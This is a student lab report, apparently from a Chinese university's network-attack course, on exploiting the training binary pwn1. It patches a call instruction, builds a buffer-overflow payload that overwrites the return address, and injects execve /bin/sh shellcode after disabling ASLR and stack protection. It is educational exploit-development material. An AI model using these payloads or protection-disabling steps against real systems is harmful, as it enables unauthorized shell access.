• 2018-2019-2 20165330《网络对抗技术》Exp1 PC平台逆向破解


    目录


    实验目标

    • 本次实验的对象是一个名为pwn1的linux可执行文件。
    • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
    • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode

    返回目录


    实验内容

    返回目录


    知识点描述

    1. 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
    • 使用objdump -d 20165330zyx可查看可执行文件20165330zyx的反汇编代码及其对应机器码
      image
    • 可知:
      • NOP:无作用,英文"no operation"的简写,意思是"do nothing"(机器码90)
      • JNE:若不相等则跳(机器码75
      • JE:若相等则跳(机器码74
      • JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB),段内直接近转移Jmp near(机器码:E9),段内间接转移Jmp word(机器码:FF),段间直接(远)转移Jmp far(机器码:EA)
      • CMP:比较指令,cmp的功能相当于减法指令。它不保存结果,只是影响相应的标志位(机器码39)
    1. 掌握反汇编与十六进制编程器
    • 反汇编指令:objdump -d objfile,关于其他用法可参考Linux下C程序的反汇编
    • 关于管道,输入、输出重定向参考linux下输入输出重定向和管道符
    • 十六进制编程器:用来以16进制视图进行文本编辑的编辑工具软件,其实我们只需要用各系统都兼容的vim编辑器就可以实现十六进制编辑的功能。具体步骤如下:
      • 输入命令vi 20165330zyx查看可执行文件内容,发现大部分是我们没法理解的乱码;
      • esc后在底行输入:%!xxd将显示模式切换为16进制模式;
      • 进行相关操作后,输入:%!xxd -r转换16进制为原格式。
    1. 能正确修改机器指令改变程序执行流程

    见实验步骤1

    1. 能正确构造payload进行bof攻击

    见实验步骤3

    返回目录


    实验步骤

    手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
    • objdump -d 20165330zyx指令查看可执行文件的反汇编结果
    • 锁定修改目标80484b5: e8 d7 ff ff ff call 8048491 <foo>
    • 对比getShell函数的地址0804847dfoo函数的地址08048491,可以发现两地址之差为十六进制14;
    • call汇编指令的机器码为e8,我们可以锁定这部分,后面的d7 ff ff ff这四个字节为数值部分,代表指令跳转时需要与eip寄存器相加的偏移量
    • 如果我们想让函数调用getShell,只需要修改d7 ff ff ff即可。由于数值存储方式为小端方式,所以锁定需要改的字节为d7,将它与地址差14做减法运算后的值为c3
    • 下面修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff
      • cp 20165330zyx 20165330pwn2复制文件
      • 使用vi 20165330pwn2编辑可执行文件;
      • esc后,输入%!xxd将显示模式切换为十六进制模式
      • 在底行/d7查找需要修改的内容,将d7改为c3
      • 转换16进制为原格式::%!xxd -r
      • 保存退出::wq
    • 此时我们反汇编可看到call指令调用的函数被改
      image
    • 输入./20165330pwn2运行该可执行文件
      image
    利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
    • 可执行文件正常运行是调用foo函数,我们发现这个函数有Buffer overflow漏洞
    • foo函数读入字符串,但系统只预留了32字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址
    • 正常时call调用foo,同时在堆栈上压上返回地址值0x80484ba
    • 确认输入字符串哪几个字符会覆盖到返回地址
    • gdb 20165330pwn(pwn的副本)调试程序,输入有规律的字符串如1111111122222222333333334444444412345678,发生段错误产生溢出
      image
    • info r查看寄存器eip的值,发现输入的1234被覆盖到堆栈上的返回地址
      image
    • 这是我们就将getShell的地址0x0804847d把1234替换即可
    • 由于数据按小端存储,我们的正确输入为11111111222222223333333344444444x7dx84x04x08
    • 因为我们没法通过键盘输入x7dx84x04x08这样的16进制值,输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input生成包括字符串的一个文件(x0a表示回车)
    • 使用16进制查看指令xxd查看input文件的内容是否如预期
    • 确认无误后用(cat input;cat) | ./20165330pwn将input中的字符串作为可执行文件的输入
      image
    注入一个自己制作的shellcode并运行这段shellcode
    • 下载execstack程序以便接下来可以设置易于攻击的环境:apt-get install execstack
    • 准备工作
      • 修改些设置
         execstack -s pwn1    //设置堆栈可执行
         execstack -q pwn1    //查询文件的堆栈是否可执行
        
      • 查看地址随机化的状态:more /proc/sys/kernel/randomize_va_space
      • 关闭地址随机化:echo "0" > /proc/sys/kernel/randomize_va_space
    • 构造要注入的payload
      • 目的:将shellcode代码写入buffer(缓冲区足够大),或把shellcode放在返回地址后(缓冲区小),把返回地址改为buffer的首地址
      • 我们选择retaddr+nops+shellcode结构来攻击buf,在shellcode前填充nop的机器码90:
         perl -e 'print "A" x 32;print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
         //上面的x4x3x2x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
         //特别提醒:最后一个字符千万不能是x0a
        
      • 注入:(cat input_shellcode;cat) | ./20165330pwn
      • 再打开一个终端查看执行文件进程号ps -ef | grep 20165330pwn
        image
      • 启用gdb调试进程,attach 2222与进程建立连接
      • 设置断点查看注入buf的内存地址
         disassemble foo //反汇编
         break *0x080484ae //设置断点
         //在另外一个终端中按下回车
        
      • c继续
      • info r esp查看esp栈顶指针的地址
      • 使用x/16x 0xffffd33c查看其存放内容,看到01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址是 0xffffd340,即0xffffd33c加上4字节
        image
      • c-quit退出gdb调试,回到之前的终端输入exit退出命令,修改之前的x4x3x2x1部分:perl -e 'print "A" x 32;print"x40xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
      • 再次运行(cat input_shellcode;cat) | ./20165330pwn后发现执行成功
        image

    返回目录


    实验过程中遇到的问题

    • 在实验过程中虚拟机连接网络失败,试了之前所有方法都没效果

    解决办法:参考如何解决VMware Workstation虚拟机无法上网,重置网络设置之后重启虚拟机即可连接网络。

    • 在运行pwn1时出现错误提示:[ bash: ./pwn1:没有那个文件或目录],但ls命令下又能看到存在pwn1文件

    解决办法:参考64位Kali无法顺利执行pwn1问题的解决方案,一般可解决。

    • 在对上一个问题进行解决时,按照方法却出现了错误提示kali无法安全地用该源进行更新,所以默认禁用该源,kali无法更新源
      image

    解决办法:参考解决kali更新源时出现签名无效问题,我将更新源换成该博客中的内容后在进行apt-get update更新成功,之后输入apt-get install lib32z132位运行库安装成功,文件可执行

    • 下载execstack程序时,出现错误提示
      image

    解决办法:参考解决 无法获得锁 /var/lib/dpkg/lock - open (11: 资源暂时不可用)


    实验感想

    • 实验收获与感想

    在这次实验中不仅懂得了什么是缓冲区溢出,也动手实现了缓冲区溢出,并且也把上学期所学的一些内容又串联在了一起,加深了我对堆栈的理解。

    • 什么是漏洞?漏洞有什么危害?
    • 缓冲区溢出就是输入的内容超过所分配的缓冲区空间,被溢出的内容由于设计的缺陷没有被立刻检查到,而破坏堆栈覆盖一些原始数据。
    • 会导致程序运行失败、系统关机、重新启动,或者执行攻击者的指令,比如非法提升权限。
  • 相关阅读:
    真正的e时代
    在线手册
    UVA 10616 Divisible Group Sums
    UVA 10721 Bar Codes
    UVA 10205 Stack 'em Up
    UVA 10247 Complete Tree Labeling
    UVA 10081 Tight Words
    UVA 11125 Arrange Some Marbles
    UVA 10128 Queue
    UVA 10912 Simple Minded Hashing
  • 原文地址:https://www.cnblogs.com/besty-zyx/p/10516361.html
Copyright © 2020-2023  润新知